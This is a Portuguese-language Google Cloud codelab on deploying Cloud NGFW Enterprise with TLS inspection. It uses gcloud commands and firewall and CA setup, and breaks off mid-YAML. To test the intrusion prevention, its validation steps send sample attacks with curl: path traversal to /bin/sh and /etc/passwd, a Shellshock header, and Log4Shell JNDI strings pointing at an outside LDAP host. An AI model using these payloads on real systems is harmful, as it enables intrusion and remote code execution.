Codelab do Cloud NGFW Enterprise [com inspeção TLS]

1. Introdução

Cloud Next Generation Firewall (NGFW)

O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.

O Cloud NGFW tem os seguintes benefícios:

  • Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host totalmente distribuída com estado em cada carga de trabalho para ativar a arquitetura de segurança de confiança zero.
  • Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall de rede e hierárquicas que podem ser anexadas a um nó de hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
  • Controle granular e microssegmentação: a combinação de políticas de firewall e as tags gerenciadas pelo Identity and Access Management (IAM) oferece controle preciso para o tráfego norte-sul e leste-oeste até uma única VM em organizações e redes de nuvem privada virtual (VPC).

O Cloud NGFW está disponível nos seguintes níveis:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

O Cloud NGFW Enterprise adiciona o Serviço de Prevenção de Intrusões (IPS) e os recursos opcionais de sandbox de malware avançado (WildFire), que são serviços de inspeção da camada 7, à estrutura distribuída do Google Cloud Firewall. A inspeção de TLS é compatível para permitir a inspeção profunda e a análise de arquivos do tráfego criptografado por TLS.

Agora é possível implantar inspeções confiáveis de firewall de última geração (NGFW, na sigla em inglês) da camada 7 com controles granulares, sem fazer alterações na arquitetura de rede ou nas configurações de roteamento.

Para ativar e implantar o controle de firewall da camada 7 com IPS e o sandbox opcional de malware avançado, realize as seguintes tarefas:

  • Crie um conjunto de endpoints de firewall zonais gerenciados pelo Google Cloud (opcionalmente, ative o sandbox de malware avançado).
  • Se quiser, crie uma política de inspeção de TLS.
  • Se quiser, crie uma configuração de confiança.
  • Associe esses endpoints às redes de nuvem privada virtual (VPC) em que você precisa do serviço Cloud NGFW Enterprise.
  • Faça mudanças simples nas políticas de firewall e regras de firewall atuais para especificar a prevenção contra ameaças e os perfis de segurança opcionais do sandbox de malware avançado para os vários caminhos de tráfego.

Políticas de firewall de rede

A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas em nenhum lugar até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede são compatíveis com tags controladas pelo IAM (ou apenas tags) nas regras de firewall, que substituem as tags de rede atuais e podem ser usadas para fornecer identidade à carga de trabalho.

O compartilhamento de uma política de firewall de rede entre redes e a integração com tags gerenciadas pelo IAM simplificam muito a configuração e o gerenciamento de firewalls.

Com a introdução da política de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:

  1. Política de firewall hierárquica
  2. Regras de firewall da VPC
  3. Política de firewall de rede ( global e regional)

As políticas de firewall hierárquicas são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall de rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall da VPC e as políticas de firewall de rede é que as regras de firewall da VPC só podem ser aplicadas a uma única rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como as atualizações em lote.

Por fim, também temos as regras de firewall implícitas que vêm com cada rede VPC:

  • Uma regra de saída com a ação permitir, o destino 0.0.0.0/0
  • Uma regra de entrada com a ação negar, a origem 0.0.0.0/0

Por padrão, a sequência de aplicação é mostrada no diagrama a seguir:

21b3bcabc469ffe.png

A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.

Tags

As novas tags integradas às regras da política de firewall de rede são recursos de par de chave-valor definidos no nível da organização ou do projeto da hierarquia de recursos do Google Cloud. Essa tag contém controles de acesso do IAM que especificam quem pode fazer o quê na tag. Com as permissões do Identity and Access Management (IAM), por exemplo, é possível especificar quais principais podem atribuir valores a tags e quais principais podem anexar tags a recursos. Se uma regra de firewall de rede fizer referência a uma tag, ela precisará ser aplicada a um recurso para ser aplicada.

As tags seguem o modelo de recursos de herança do Google Cloud, o que significa que as tags e os respectivos valores são transmitidos para baixo na hierarquia dos pais. Como resultado, as tags podem ser criadas em um local e usadas por outras pastas e projetos em toda a hierarquia de recursos. Acesse esta página para mais detalhes sobre tags e restrição de acesso.

As tags não devem ser confundidas com tags de rede. Os últimos são strings que podem ser adicionadas às instâncias do Compute Engine. Elas são associadas à instância e desaparecem quando ela é desativada. As regras de firewall da VPC podem incluir tags de rede, mas, como não são consideradas recursos de nuvem, elas não estão sujeitas ao controle de acesso do IAM.

Neste documento, as tags e as tags controladas pelo IAM são usadas de forma intercambiável.

O que você vai criar

Este codelab requer um único projeto e a capacidade de criar uma rede VPC, além de gerenciar vários recursos de rede e segurança. Ele vai demonstrar como o Cloud NGFW Enterprise pode oferecer as funcionalidades de IPS e sandbox de malware avançado (WildFire) ao:

  • Como inspecionar fluxos de Internet de saída com a inspeção de TLS
  • Como inspecionar fluxos intra-VPC [leste-oeste] com inspeção de TLS
  • [Opcional] Configurar e validar o envio de arquivos e a análise forense do sandbox de malware avançado para ameaças desconhecidas baseadas em arquivos no tráfego inspecionado por TLS

Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo 5 tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags.

3d0f288d3b92a295.png

O estado final da base de regras da política de firewall de rede será semelhante à tabela abaixo:

Prioridade

Direção

Destino

Origem

Destino

Ação

Tipo

100

Entrada

Server_Tag

Verificações de integridade

Qualquer

Permitir

Essentials

200

Entrada

Client_Tag, Server_Tag

IAP

Qualquer

Permitir

Essentials

800

Entrada

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspeção L7

Enterprise

850

Saída

Client_Tag

Qualquer

10.0.0.0/24

Permitir

Essentials

900

Saída

Client_Tag

Qualquer

Qualquer

Inspeção L7

Enterprise

O que você vai aprender

  • Como criar uma política de firewall de rede.
  • Como criar e usar tags com a política de firewall de rede.
  • Como configurar e usar o Cloud NGFW Enterprise com inspeção de TLS.
  • [Opcional] Como configurar e validar o sandbox de malware avançado (WildFire) para ameaças desconhecidas baseadas em arquivos.

O que é necessário

  • Projeto do Google Cloud.
  • Conhecimento sobre como implantar instâncias e configurar componentes de rede.
  • Conhecimento sobre configuração de firewall de VPC.

2. Antes de começar

Criar/atualizar variáveis

Este codelab usa $variables para ajudar na implementação da configuração da gcloud no Cloud Shell.

No Cloud Shell, execute os comandos abaixo, substituindo as informações entre colchetes conforme necessário:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Ativar APIs

Ative as APIs, se ainda não tiver feito isso:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Criação de endpoint do Cloud NGFW Enterprise

Como a criação do endpoint do Cloud NGFW Enterprise leva cerca de 20 minutos, ele será criado primeiro, e a configuração básica poderá ser feita em paralelo enquanto o endpoint é criado.

Crie o perfil de segurança e o grupo de perfis de segurança:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Saída esperada:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Confirme se os recursos foram criados:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Saída esperada (o formato de saída pode variar de acordo com o cliente usado):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crie o endpoint do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Execute o comando abaixo para confirmar se o endpoint está sendo criado (CREATING) ou se está ACTIVE, caso você tenha usado --no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Se quiser, execute o comando abaixo para ver mais detalhes:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

O processo de criação leva cerca de 20 minutos. Prossiga para a seção "Configuração básica" para criar os recursos necessários em paralelo.

5. Configuração básica

Rede VPC e sub-rede

Rede VPC e sub-rede

Crie a rede VPC e a sub-rede:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crie o Cloud Router e o gateway do Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instâncias

Crie as instâncias de cliente e servidor da Web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags para envolvidos no projeto

Atribua a permissão tagAdmin ao usuário, se necessário:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crie a chave e os valores da tag para envolvidos no projeto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Vincule as tags às instâncias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de rede global

Crie uma política de firewall de rede global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crie as regras necessárias do Cloud Firewall Essential para permitir o tráfego dos intervalos de verificação de integridade e proxy com reconhecimento de identidade:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crie as regras necessárias do Cloud Firewall para permitir o tráfego de entrada leste-oeste / entre sub-redes dos intervalos específicos (essas regras serão atualizadas para ativar o Cloud NGFW Enterprise com inspeção de TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associe a política de firewall do Cloud à rede VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Associação de endpoint do Cloud Firewall

Defina as variáveis de ambiente caso ainda não tenha feito isso e/ou prefira a abordagem de script.

Confirme se a criação do endpoint do Cloud Firewall foi concluída. Só prossiga quando o estado for mostrado como ACTIVE (durante a criação, o estado esperado é CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Se quiser, execute o comando abaixo para ver mais detalhes:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associe o endpoint do Cloud Firewall à rede VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

O processo de associação leva cerca de 10 minutos. Só prossiga para a seção de TLS quando o estado for mostrado como ACTIVE (durante a criação, o estado esperado é CREATING):

gcloud network-security firewall-endpoint-associations list

Resultado esperado após a conclusão:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Se quiser, execute o comando abaixo para ver mais detalhes:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Saída esperada:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurar recursos de TLS

Crie um pool de CAs. Esse recurso será usado para armazenar o certificado de CA raiz que geramos para o NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crie a AC raiz. Esse é o certificado de CA que será usado para assinar outros certificados para solicitações pelo NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Se a mensagem abaixo aparecer, responda y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crie uma conta de serviço. Essa conta de serviço será usada para solicitar certificados para o NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Defina as permissões do IAM para a conta de serviço:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crie o arquivo YAML da política de TLS. Esse arquivo vai conter informações sobre os recursos específicos:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importe a política de inspeção de TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Atualize a associação de endpoint para ativar o TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Acesse o certificado de CA e adicione-o ao armazenamento de CA do cliente:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfira o certificado de CA para o cliente:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Conecte-se via SSH à VM, mova o certificado de CA para /usr/local/share/ca-certificates e atualize o armazenamento de CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Volte para o Cloud Shell.

Processo de assinatura de certificado do servidor:

No Cloud Shell, instale a biblioteca de criptografia Pyca usando o comando pip:

pip install --user "cryptography>=2.2.0"

Para permitir que o SDK Google Cloud use a biblioteca de criptografia Pyca, é necessário ativar os pacotes do site.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crie o certificado do servidor:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Isso vai gerar um arquivo cert.pem e key.pem no Cloud Shell. Em seguida, transfira o certificado e a chave para o servidor.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Use o SSH no servidor para atualizar os detalhes do certificado do Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Mova o certificado e a chave para uma pasta específica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Atualize a configuração de SSL para usar o certificado assinado:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Reinicie o Apache:

sudo systemctl restart apache2

Verifique o status do Apache:

sudo systemctl status apache2

Ele precisa estar ativo (em execução).

Saia da VM e continue no Cloud Shell.

8. Validar a conectividade norte-sul e leste-oeste

Execute os comandos abaixo no Cloud Shell e anote os IPs de destino que serão usados:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Abra uma nova guia e inicie uma conexão SSH com a VM do cliente pelo IAP (será necessário definir as variáveis na nova guia):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Execute os comandos abaixo e anote os IPs de destino que serão usados. Crie as variáveis substituindo os valores entre colchetes pelos IPs anotados na etapa anterior e verifique se eles estão acessíveis:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Use o comando curl no IP privado e verifique se ele está acessível:

curl https://$target_privateip --max-time 2

Resultados esperados para a solicitação curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envie ataques de amostra para o IP. O servidor da Web precisa responder a todas as solicitações, confirmando que não há inspeção/prevenção de L7 em vigor:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Exemplo de resultados esperados (IP particular):

400
404
400
200
200

Da mesma forma, envie solicitações para um destino na Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Exemplo de resultados esperados (destino da Internet):

400
404
400
403
403

Saia do terminal da VM e volte ao Cloud Shell.

9. Criar e atualizar regras de firewall para inspeção de TLS

Anteriormente, configuramos uma regra de firewall para permitir o tráfego de entrada para nosso servidor a partir da sub-rede interna. Agora, vamos atualizar as regras de entrada atuais e definir a ação como apply_security_profile_group. Isso vai ativar a inspeção L7 E/W com TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crie uma nova regra para inspecionar a inspeção L7 de saída com TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crie uma nova regra para permitir SAÍDA para E/W para evitar inspeção dupla.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Como validar a inspeção de TLS de saída

Volte para a guia da VM do cliente ou conecte-se novamente:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie os ataques de amostra para um destino na Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Nenhuma resposta é recebida, conforme a saída esperada abaixo, confirmando que os ataques de amostra estão sendo bloqueados:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Defina a variável como o IP do servidor de antes:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envie solicitações de TLS de amostra para o servidor:

curl https://$target_privateip --max-time 2

Saída esperada:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Por que essa solicitação falhou? Isso ocorre porque o firewall está recebendo um certificado do servidor que não é confiável. Se isso ocorrer, ele vai transmitir um certificado autoassinado de volta ao cliente. Precisamos adicionar o certificado de CA como parte de uma configuração de confiança para ativar a confiança.

Volte para o Cloud Shell.

11. Configurar a configuração de confiança

Receba o certificado de CA raiz e defina-o como uma variável com a formatação adequada.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configure o arquivo YAML de configuração de confiança. Esse arquivo contém detalhes de confiança, como certificados de CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Os comandos acima incluíram o certificado de CA raiz como parte do repositório de confiança, já que o certificado do servidor foi assinado usando a CA raiz. Isso significa que o firewall vai confiar em todos os certificados recebidos que foram assinados pela CA raiz, além das CAs públicas, se a política de TLS tiver excludePublicCaSet definido como falso.

Verifique o conteúdo da configuração de confiança.

cat trust_config.yaml

Exemplo de resposta:

Preste muita atenção ao alinhamento do recuo do certificado. Ele precisa seguir exatamente esse formato.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importe a configuração de confiança:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Atualize o arquivo YAML da política de TLS para incluir a configuração de confiança:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
